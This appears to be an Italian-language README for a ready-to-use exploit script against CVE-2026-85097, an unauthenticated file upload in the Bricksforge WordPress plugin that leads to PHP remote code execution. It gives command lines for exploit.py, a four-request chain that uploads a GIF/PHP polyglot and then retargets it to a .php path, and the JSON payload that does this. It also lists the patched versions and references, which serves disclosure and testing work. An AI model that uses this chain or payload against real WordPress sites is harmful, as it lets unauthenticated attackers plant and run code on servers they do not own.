CVE-2026-85097

Caricamento di file non autenticato in Bricksforge <= 3.1.8.9 → RCE PHP.

temporaryFileUploads.url viene preso dal client all'invio del form. Il MIME viene verificato al primo caricamento, poi copy() usa basename($url) come nome di destinazione.

CVE	CVE-2026-85097
CWE	CWE-434
CVSS	9.8 / 10.0
Affected	Bricksforge <= 3.1.8.9
Fixed	3.1.8.10, 4.0.1
Auth	none

Setup

pip3 install requests

Utilizzo

python3 exploit.py --url http://TARGET

python3 exploit.py --url https://TARGET --insecure
python3 exploit.py --url http://TARGET --form-id FORM --post-id 12 --field-id file

Richiede un Pro Form attivo. Il campo di upload è opzionale.

Catena

1. POST /wp-admin/admin-ajax.php action=bricksforge_regenerate_nonce
2. POST /wp-json/bricksforge/v1/form_file_upload — polyglot GIF/PHP (MIME OK)
3. POST /wp-json/bricksforge/v1/form_submit — file = .gif, url = .php
4. GET /wp-content/uploads/YYYY/MM/*.php — body CVE-2026-85097-OK

{
  "temporaryFileUploads": [
    {
      "field": "form-field-file",
      "file": {
        "file": "/var/www/html/wp-content/uploads/bricksforge/tmp/xxxx.gif",
        "url": "http://TARGET/wp-content/uploads/bricksforge/tmp/pwn.php",
        "type": "image/gif"
      }
    }
  ]
}

Riferimenti

• https://www.cve.org/CVERecord?id=CVE-2026-85097
• https://www.wordfence.com/threat-intel/vulnerabilities/id/e993c929-f175-43a7-92e6-9d3b089b8dde
• https://patchstack.com/articles/critical-unauthenticated-arbitrary-file-upload-vulnerability-exploited-in-bricksforge-plugin/
• https://bricksforge.io/version-changelog/